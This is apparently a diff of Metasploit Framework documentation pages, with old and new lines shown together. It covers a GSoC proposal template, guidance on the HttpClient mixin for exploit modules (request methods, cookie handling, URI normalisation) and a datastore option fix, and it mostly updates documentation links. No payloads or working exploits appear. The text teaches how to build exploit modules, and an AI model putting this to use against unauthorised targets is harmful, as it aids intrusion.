What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What other projects have you worked on before?
## Your project
Fill in the details. What exactly do you want to accomplish?
Fill in the details. What exactly do you want to accomplish?
# Past Submissions
If you are interested in looking at past accepted submissions and projects, you can find them at https://summerofcode.withgoogle.com/archive, and clicking on any year from 2017 onwards (with the exception of 2019 as Metasploit did not participate this year). Then click on the `Security` tag, and search for `Metasploit`. Scroll down to the bottom and you will see past successful applications and the associated code for each successful submission. Submissions from 2020 onwards also include copies of the proposal that was sent in by the accepted contributor.
@@ -1,16 +1,16 @@
The [HttpClient mixin](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
The [HttpClient mixin](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
## There are mainly two common methods you will see:
* **[send\_request\_raw](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
* **[send\_request\_raw](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
Here's a basic example of how to use `send_request_raw`:
```ruby
send_request_raw({'uri'=>'/index.php'})
```
* **[send\_request\_cgi](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
* **[send\_request\_cgi](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
@@ -31,7 +31,7 @@ send_request_cgi({
## Cookies & CookieJars
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
A HttpCookieJar is a collection of [HttpCookie](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie.rb). The Jar can be populated manually with it's `add` method, or automatically via the `keep_cookies` option that can be passed to [send\_request\_cgi](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/lib/msf/core/exploit/remote/http_client.rb#L385).
@@ -59,7 +59,7 @@ res = @http_client.send_request_cgi({
}
})
```
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
@@ -136,7 +136,7 @@ register_options(
)
```
**2** - Load your TARGETURI with [`target_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
**2** - Load your TARGETURI with [`target_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
In this example, we'll just load the path:
@@ -144,7 +144,7 @@ In this example, we'll just load the path:
uri = target_uri.path
```
**3** - When you want to join another URI, always use [`normalize_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
**3** - When you want to join another URI, always use [`normalize_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
Example:
@@ -164,8 +164,6 @@ Please note: The `normalize_uri` method will always follow these rules:
## Full Example
```ruby
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
@@ -38,7 +38,7 @@ register_options(
### Fixed filename
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [msftidy](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). Instead, here's how it's done properly:
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [[msftidy|./Guidelines-for-Accepting-Modules-and-Enhancements.md]]. Instead, here's how it's done properly:
1 - Deregister the ```FILENAME``` option

Some files were not shown because too many files have changed in this diff Show More